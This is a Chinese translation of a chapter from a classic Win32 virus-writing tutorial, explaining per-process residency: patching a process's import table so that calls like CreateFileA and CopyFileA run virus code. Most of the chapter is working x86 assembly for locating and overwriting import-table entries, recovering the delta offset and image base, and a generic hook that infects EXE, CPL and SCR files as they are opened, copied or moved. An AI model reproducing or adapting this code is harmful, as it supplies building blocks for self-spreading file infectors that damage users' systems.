Billy Belceb 病毒編寫教程for Win32 ----Per-Process?residency
【每一執行緒駐留(Per-Process residency)】
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
一個用來討論的非常有意思的話題:Per-Process residency,對所有的Win32平臺都適用的一種方法。我已經把這一章從Ring-3那一章分離開來是因為我想它是一中進化,對於初學Ring-3來說也是稍微複雜了些。
%介紹%
~~~~~~
per-process residence首先由29A的Jacky Qwerty在1997年編寫的。此外(對媒體來說,不是真正的-Win32.Jacky)它是第一個Win32病毒,它還是第一個Win32駐留病毒,使用從沒見過的技術:per-process residence。那麼你想知道"什麼是per-process residence呢?"。我已經在DDT#1的一篇文章中解釋了那個了,但是這裡我將對這個方法作一個更深的分析。首先,你必須知道什麼是Win32,和它的PE可執行檔案是怎麼工作的。當你呼叫一個API的時候,你將要呼叫一個由系統在執行期把Import Table(輸入表)儲存到記憶體的地址,這個輸入表指向API在DLL中的入口點。為了作一個per-process駐留,你將要不得不對輸入表做些手腳,並修改你想要鉤住並指向你自己的程式碼的API地址值,這個程式碼能夠處理指定的API,也就是說由API來處理感染檔案。我知道這有一點點雜亂,但是正如在病毒程式碼編寫的每一件事情中,開始總是看起來很難的,但是後面就非常簡單了:)
--[DDT#1.2_4]---------------------------------------------------------------
恩,這個可能是我知道的編寫Win32駐留病毒的唯一的已知途徑。是的,你已經看到的是Win32而不是Win9X。這是因為這個方法還能夠執行在WinNT下面。首先,你必須知道什麼是一個程式。這個東西更使我奇怪的是那些開始在Windows下程式設計的人知道這個方法之後,並知道這個是個什麼樣的方法,但是他們通常不知道這個名字。好了,當我們執行一個Windows應用程式的時候,那就是一個程式:)非常容易理解。而這個駐留方式做了什麼呢?首先我們必須開闢一塊記憶體,為了把病毒主體放在那裡,但是這個記憶體是從我們正在執行的自己的程式開始的。所以,我們開闢一些系統給這個程式的記憶體。它將由使用API函式"VirtualAlloc"來完成。但是...怎樣來鉤住API呢?現在據我所知最常用的方法是改變API在輸入表(import table)中的地址。這是我的觀點,唯一可行的方法。因為輸入表可以被寫,這就更簡單了,而且我們不需要任何VxDCALL0的函式的幫助...
但是,這種型別的駐留病毒的弱點也在這裡了...正如我們在輸入表裡所看到的,感染率嚴重依賴於我們要感染的檔案。例如,如果我們感染WinNT的CMD.EXE,並且我有一個FindFirstFile(A/W)和FindNextFile(A/W)的感染例程,使用那些API的的所有檔案都被感染。這就使得我們的病毒非常具有感染性,主要是因為當我們在WinNT下使用一個DIR命令的時候將會頻繁使用。總之,如果我們不使用其它的方法來使它更具感染性的話,Per-Process方法將是非常脆弱的,如在Win32.Cabanas中,一個執行部分中。我們使得執行期部分每次感染\WINDOWS和\WINDOWS\SYSTEM目錄下的一些檔案。另外一個好的選擇是,正如我在用CMD為例的例子裡所說的,直接碰那些在第一次感染一個系統裡的非常特別的檔案...
--[DDT#1.2_4]---------------------------------------------------------------
我已經在1998年的12月份把它寫出來了,雖然我發現它可以不透過開闢記憶體來實現,但是,我還是改了它使之更容易理解。
%輸入表處理%
~~~~~~~~~~~~
下面使輸入表的結構。
IMAGE_IMPORT_DESCRIPTOR
^^^^^^^^^^^^^^^^^^^^^^^
-----------------------------------<----+00000000h
| Characteristics | Size : 1 DWORD
-----------------------------------<----+00000004h
| Time Date Stamp | Size : 1 DWORD
-----------------------------------<----+00000008h
| Forwarder Chain | Size : 1 DWORD
-----------------------------------<----+0000000Ch
| Pointer to Name | Size : 1 DWORD
-----------------------------------<----+00000010h
| First Thunk | Size : 1 DWORD
-----------------------------------
現在讓我們看看Matt Pietrek是怎麼描述它的。
DWORD Characteristics
曾經,這個被看成一些標誌。然而,微軟改變了它的意思並不厭其煩地更新WINNT.H。這個域世界上是指向一個指標陣列的偏移(一個RVA)。這些指標每個都指向一個IMAGE_IMPORT_BY_NAME結構。
DWORD TimeDateStamp
time/date 標誌表明檔案是什麼時候建立的。
DWORD ForwarderChain
這個域和向前呼叫有關。向前呼叫包括在一個DLL中把它的一個函式傳送引用到另外一個DLL。例如,在Windows NT中,NTDLL.DLL看起來有一些函式向前呼叫KERNEL32.DLL中的一些函式。一個應用程式可能會認為它在呼叫NTDLL.DLL中的一個函式,但是世界上最終呼叫KERNEL32.DLL中的函式。這個域包含了一個對FirstThunk陣列(即將要描述)的索引。這個由這個域索引的函式將要向前呼叫到另外一個DLL中。不幸的是,這種函式是怎麼向前呼叫的格式沒有文件資料,而且向前呼叫的函式的例子很難找。
DWORD Name
這是一個以NULL結尾的包含輸入的DLL的名字ASCII字串的RVA。一般的例子是"KERNEL32.DLL" 和 "USER32.DLL"。
PIMAGE_THUNK_DATA FirstThunk
這個域是一個指向IMAGE_THUNK_DATA單元的偏移地址(一個RVA)。在幾乎每種情況下,這個單元被理解成一個IMAGE_IMPORT_BY_NAME結構的指標。如果這個域不是這些指標的其中一個,那麼它可能被認為是被輸入的DLL的序數。資料中關於你是否真的可以透過序數而不是透過名字來輸入一個函式並不很確切。一個IMAGE_IMPORT_DESCRIPTOR的重要的部分是輸入的DLL名字和兩個IMAGE_IMPORT_BY_NAME陣列。在EXE檔案中,這兩個陣列(指向Characteristics 和 FirstThunk域)是平行的,而且在每個陣列的結尾是空指標。兩個陣列裡的指標都指向一個IMAGE_IMPORT_BY_NAME結構。
現在正如你所知道的Matt Pietrek(G0D)的定義,我將在這裡列出從輸入表裡獲取API地址和到API(我們將要改變的,後面關於這個更多)的偏移地址的程式碼。
;--------從這裡開始剪下-------------------------------------------------------
;
; GetAPI_IT 函式
; ==============
; 下面的程式碼能夠從輸入表(Import Table)中獲取一些資訊
;
GetAPI_IT proc
;-----------------------------------------------------------------------------
; Ok, 讓我們搖搖頭。這個函式需要的引數和返回如下:
;
; 輸入 : EDI : 指向API名字的指標 (區分大小寫)
; 輸出 : EAX : API地址
; EBX : API地址在輸入表(import table)中地址
;-----------------------------------------------------------------------------
mov dword ptr [ebp+TempGA_IT1],edi ; Save ptr to name
mov ebx,edi
xor al,al ; Search for "\0"
scasb
jnz $-1
sub edi,ebx ; Obtain size of name
mov dword ptr [ebp+TempGA_IT2],edi ; Save size of name
;-----------------------------------------------------------------------------
;我們首先儲存指向API的指標到一個臨時變數中,然後我們搜尋那個字串的結尾,由
;0標記的,然後我們把EDI的新值(指向0)它的舊值,這樣就得到了API名字的大小。很
;迷人,不是嗎?在這之後,我們把API名字的大小儲存到另外一個臨時變數中。
;-----------------------------------------------------------------------------
xor eax,eax ; Make zero EAX
mov esi,dword ptr [ebp+imagebase] ; Load process imagebase
add esi,3Ch ; Pointer to offset 3Ch
lodsw ; Get process PE header
add eax,dword ptr [ebp+imagebase] ; address (normalized!)
xchg esi,eax
lodsd
cmp eax,"EP" ; Is it really a PE?
jnz nopes ; Shit!
add esi,7Ch
lodsd ; Get address
push eax
lodsd ; EAX = Size
pop esi
add esi,dword ptr [ebp+imagebase]
;-----------------------------------------------------------------------------
;我們要做的第一件事是清空EAX,因為我們不要它的MSW。然後,我們要做的是在我們
;主體的頭部檢查PE簽名。如果所有的事情都做好了,我們得到一個指向Import Table
;section (.idata)的指標。
;-----------------------------------------------------------------------------
SearchK32:
push esi
mov esi,[esi+0Ch] ; ESI = Pointer to name
add esi,dword ptr [ebp+imagebase] ; Normalize
lea edi,[ebp+K32_DLL] ; Ptr to "KERNEL32.dll",0
mov ecx,K32_Size ; ECX = Size of above string
cld ; Clear Direction Flag
push ecx ; Save size for later
rep cmpsb ; Compare bytes
pop ecx ; Restore size
pop esi ; Restore ptr to import
jz gotcha ; If matched, jump
add esi,14h ; Get another field
jmp SearchK32 ; Loop again
;-----------------------------------------------------------------------------
;首先我們再次把ESI壓棧,我們將需要它被儲存,因為正如你所知道的,它是.idata節
;的開始。然後,我們在ESI中得到的是名字的ASCII字串(指標)的RVA,然後,我們把
;它用基址把那個值標準化,
;-----------------------------------------------------------------------------
gotcha:
cmp byte ptr [esi],00h ; Is OriginalFirstThunk 0?
jz nopes ; Fuck off if it is.
mov edx,[esi+10h] ; Get FirstThunk :)
add edx,dword ptr [ebp+imagebase] ; Normalize!
lodsd
or eax,eax ; Is it 0?
jz nopes ; Shit...
xchg edx,eax ; Get pointer to it!
add edx,[ebp+imagebase]
xor ebx,ebx
;-----------------------------------------------------------------------------
; 首先,我們檢查OriginalFirstThunk域是否為NULL,如果它是,我們以一個錯誤退出。
; 然後,我們得到FirstThunk值,並透過加上基址(imagebase)來標準化它,並檢查它
; 是否是0(如果它是,我們就有一個問題了,因此我們退出)。之後,我們把那個地址
; (FirshtThunk)放到EDX中,並標準化,在EAX中我們儲存的是指向FirstThunk域的
; 指標。
;-----------------------------------------------------------------------------
loopy:
cmp dword ptr [edx],00h ; Last RVA? Duh...
jz nopes
cmp byte ptr [edx+03h],80h ; Ordinal? Duh...
jz reloop
mov edi,dword ptr [ebp+TempGA_IT1] ; Get pointer to API name
mov ecx,dword ptr [ebp+TempGA_IT2] ; Get API name size
mov esi,[edx] ; We retrieve the current
add esi,dword ptr [ebp+imagebase] ; pointed imported api string
inc esi
inc esi
push ecx ; Save its size
rep cmpsb ; Compare both stringz
pop ecx ; Restore it
jz wegotit
reloop:
inc ebx ; Increase counter
add edx,4 ; Get another ptr to another
loop loopy ; imported API and loop
;-----------------------------------------------------------------------------
; 首先,我們檢查是否在陣列(以null字元標記)的最後,如果是,我們離開。然後,我們
; 檢查它是是否是一個序數,如果是,我們得到另外一個。接下來是有趣的東東:我們把
; 我們以前儲存的指向要搜尋的API名字的指標儲存到EDI中,在ECX中是那個字串的長
; 度,並把指向輸入表中的當前的API的指標儲存到ESI中。我們對這兩個字串進行比較
; 如果它們不相等,我們重新得到另外一個,直到我們找到了它或者我們到達輸入表的
; 最後一個API。
;-----------------------------------------------------------------------------
wegotit:
shl ebx,2 ; Multiply per 4 (dword size)
add ebx,eax ; Add to FirstThunk value
mov eax,[ebx] ; EAX = API address ;)
test al,0 ; This is for avoid a jump,
org $-1 ; thus optimizing a little :)
nopes:
stc ; Error!
ret
;-----------------------------------------------------------------------------
; 非常簡單:因為我們在EBX中的是計數,而且陣列是一個DWORD陣列,我們把它乘以4
; (為了得到和標誌API地址的FirstThunk相關的偏移),然後我們在EBX中的是指向想要得到
; 的API在輸入表中的地址的指標。非常完美:)
;-----------------------------------------------------------------------------
GetAPI_IT endp
;-------到這裡為止剪下---------------------------------------------------------
OK,現在我們知道怎麼樣來玩輸入表。但是我們需要更多的東西!
%執行期獲取基址(imagebase)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~
一個最普遍的錯誤是認為imagebase總是一個常量,或者它將總是為400000h。但是這和事實相去甚遠。無論你在檔案頭裡得到的是什麼
imagebase,它可以被系統在執行期很容易地改變,所以我們將要訪問一個不正確地地址,而且我們將會得到無法預料地回應。而獲取它地方法是非常簡單地。簡單地使用通常的delta-offset例程。
virus_start:
call tier ; Push in ESP return address
tier: pop ebp ; Get that ret address
sub ebp,offset realcode ; And sub initial offset
OK?舉個例子,讓我們想象一下執行從401000h開始(幾乎所有的由TLINK連結的檔案)。所以,當我們使用了POP,我們將在EBP中得到諸如
00401005的結果。所以把它減去tier-virus_start,並減去當前的EIP(也就是說在所有的TLINK連線的檔案中為1000h)?是的你得到了imagebase!所以將會如下:
virus_start:
call tier ; Push in ESP return address
tier: pop ebp ; Get that ret address
mov eax,ebp
sub ebp,offset realcode ; And sub initial offset
sub eax,00001000h ; Sub current EIP (should be
NewEIP equ $-4 ; patched at infection time)
sub eax,(tier-virus_start) ; Sub some shit :)
不要忘記在感染期修復NewEIP變數(如果你修改了EIP),所以它總是和PE檔案頭偏移28h處的值相等,也就是程式的EIP的RVA:)
[ 我的API鉤子 ]
下面是我的GetAPI_IT例程的普查。這個基於如下的一個結構:
db ASCIIz_API_Name
dd offset (API_Handler)
例如:
db "CreateFileA",0
dd offset HookCreateFileA
而HookCreateFileA是一個處理鉤住了的函式的例程。我使用這個結構的程式碼如下:
;---------從這裡開始剪下-------------------------------------------------------------
HookAllAPIs:
lea edi,[ebp+@@Hookz] ; Ptr to the first API
nxtapi:
push edi ; Save the pointer
call GetAPI_IT ; Get it from Import Table
pop edi ; Restore the pointer
jc Next_IT_Struc_ ; Fail? Damn...
; EAX = API Address
; EBX = Pointer to API Address
; in the import table
xor al,al ; Reach the end of API string
scasb
jnz $-1
mov eax,[edi] ; Get handler offset
add eax,ebp ; Adjust with delta offset
mov [ebx],eax ; And put it in the import!
Next_IT_Struc:
add edi,4 ; Get next structure item :)
cmp byte ptr [edi],"" ; Reach the last api? Grrr...
jz AllHooked ; We hooked all, pal
jmp nxtapi ; Loop again
AllHooked:
ret
Next_IT_Struc_:
xor al,al ; Get the end of string
scasb
jnz $-1
jmp Next_IT_Struc ; And come back :)
@@Hookz label byte
db "MoveFileA",0 ; Some example hooks
dd (offset HookMoveFileA)
db "CopyFileA",0
dd (offset HookCopyFileA)
db "DeleteFileA",0
dd (offset HookDeleteFileA)
db "CreateFileA",0
dd (offset HookCreateFileA)
db "" ; End of array :)
;---------到這裡為止剪下-------------------------------------------------------------
我希望它是高度清楚:)
%一般的鉤子%
~~~~~~~~~~~~~
如果你發現了,有一些API,它的引數中,最後壓棧的引數是一個指向一個存檔(可以為一個可執行檔案)的指標,所以我們可以hook它們並應用一個普通的處理首先來檢測它的的副檔名,所以如果它是一個可執行檔案,我們可以沒有問題地感染它了:)
;---------從這裡開始剪下-------------------------------------------------------------
; Some variated hooks :)
HookMoveFileA:
call DoHookStuff ; Handle this call
jmp [eax+_MoveFileA] ; Pass control 2 original API
HookCopyFileA:
call DoHookStuff ; Handle this call
jmp [eax+_CopyFileA] ; Pass control 2 original API
HookDeleteFileA:
call DoHookStuff ; Handle this call
jmp [eax+_DeleteFileA] ; Pass control 2 original API
HookCreateFileA:
call DoHookStuff ; Handle this call
jmp [eax+_CreateFileA] ; Pass control 2 original API
; The generic hooker!!
DoHookStuff:
pushad ; Push all registers
pushfd ; Push all flags
call GetDeltaOffset ; Get delta offset in EBP
mov edx,[esp+2Ch] ; Get filename to infect
mov esi,edx ; ESI = EDX = file to check
reach_dot:
lodsb ; Get character
or al,al ; Find NULL? Shit...
jz ErrorDoHookStuff ; Go away then
cmp al,"." ; Dot found? Interesting...
jnz reach_dot ; If not, loop again
dec esi ; Fix it
lodsd ; Put extension in EAX
or eax,20202020h ; Make string lowercase
cmp eax,"exe." ; Is it an EXE? Infect!!!
jz InfectWithHookStuff
cmp eax,"lpc." ; Is it a CPL? Infect!!!
jz InfectWithHookStuff
cmp eax,"rcs." ; Is is a SCR? Infect!!!
jnz ErrorDoHookStuff
InfectWithHookStuff:
xchg edi,edx ; EDI = Filename to infect
call InfectEDI ; Infect file!! ;)
ErrorDoHookStuff:
popfd ; Preserve all as if nothing
popad ; happened :)
push ebp
call GetDeltaOffset ; Get delta offset
xchg eax,ebp ; Put delta offset in EAX
pop ebp
ret
;---------到這裡為止剪下-------------------------------------------------------------
一些可以用這個一般的例程來hook的API如下:
MoveFileA, CopyFileA, GetFullPathNameA, DeleteFileA, WinExec, CreateFileA
CreateProcessA, GetFileAttributesA, SetFileAttributesA, _lopen, MoveFileExA
CopyFileExA, OpenFile。
%最後的話%
~~~~~~~~~~
如果還有什麼不清楚的地方,發email給我。我將盡可能地用一個簡單的per-process駐留的病毒來闡述它,但是我編寫的唯一一個per-process病毒太複雜了,而且比這有更多的特色,所以對你來說還是看不明白:)
相關文章
- Billy Belceb 病毒編寫教程for Win32 ----附錄2004-05-28Win32
- Billy Belceb 病毒編寫教程for Win32 ----Win32優化2004-05-28Win32優化
- Billy Belceb 病毒編寫教程for Win32 ----Win32多型2004-05-28Win32多型
- Billy Belceb 病毒編寫教程for Win32 ----Win32 反除錯2004-05-28Win32除錯
- Billy Belceb 病毒編寫教程for Win32 ----PE檔案頭2015-11-15Win32
- Billy Belceb 病毒編寫教程for Win32 ----簡單介紹2015-11-15Win32
- Billy Belceb 病毒編寫教程for Win32 ----高階Win32技術2004-05-28Win32
- Billy Belceb病毒編寫教程DOS篇---宣告2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---加密2015-11-15加密
- [翻譯]Billy Belceb 病毒編寫教程for Win32 ----病毒編寫中的有用的東西2004-05-28Win32
- Billy Belceb病毒編寫教程(DOS篇)---附錄2015-11-15
- Billy Belceb 病毒編寫教程for Win32 ----Ring-0,系統級編碼2004-05-28Win32
- Billy Belceb病毒編寫教程(DOS篇)---病毒編寫所需的軟體2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---隱蔽(Stealth)2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---優化(Optimization)2015-11-15優化
- Billy Belceb 病毒編寫教程for Win32 ----Ring-3,使用者級編碼2015-11-15Win32
- Billy Belceb病毒編寫教程(DOS篇)---駐留記憶體病毒2015-11-15記憶體
- [翻譯]Billy
Belceb 病毒編寫教程for Win32----- 宣告2004-05-28Win32
- Billy Belceb病毒編寫教程(DOS篇)---Tunneling2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---多型(polymorphism)2015-11-15多型
- Billy Belceb病毒編寫教程(DOS篇)反探索(Anti-Heuristics)2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)有用的結構體2015-11-15結構體
- Billy Belceb病毒編寫教程(DOS篇)---Anti-tunneling2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---保護你的程式碼2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)一些重要的理論2015-11-15
- Win32彙編教程四 編寫一個簡單的視窗 (轉)2007-12-02Win32
- 基本概念(win32)彙編教程(轉)2007-07-28Win32
- Win32彙編教程十二 管道操作 (轉)2007-12-29Win32
- Win32彙編教程二 Win32彙編程式的結構和語法 (轉)2007-12-02Win32
- Win32/Angryel病毒分析報告2019-09-25Win32
- Win32彙編教程八 圖形介面的操作 (轉)2007-12-29Win32
- Win32彙編教程十 定時器的應用 (轉)2007-12-29Win32定時器
- Golang 編寫測試教程2019-02-28Golang
- Win32彙編教程七 控制元件的子類化 (轉)2007-12-29Win32控制元件
- 【ROS教程】編寫launch檔案2024-08-30ROS
- WIN32 手動編譯2020-10-28Win32編譯
- Qealler - 一個用Java編寫的惡意病毒軟體2019-02-08Java
- Xamarin iOS教程之編輯介面編寫程式碼2015-06-11iOS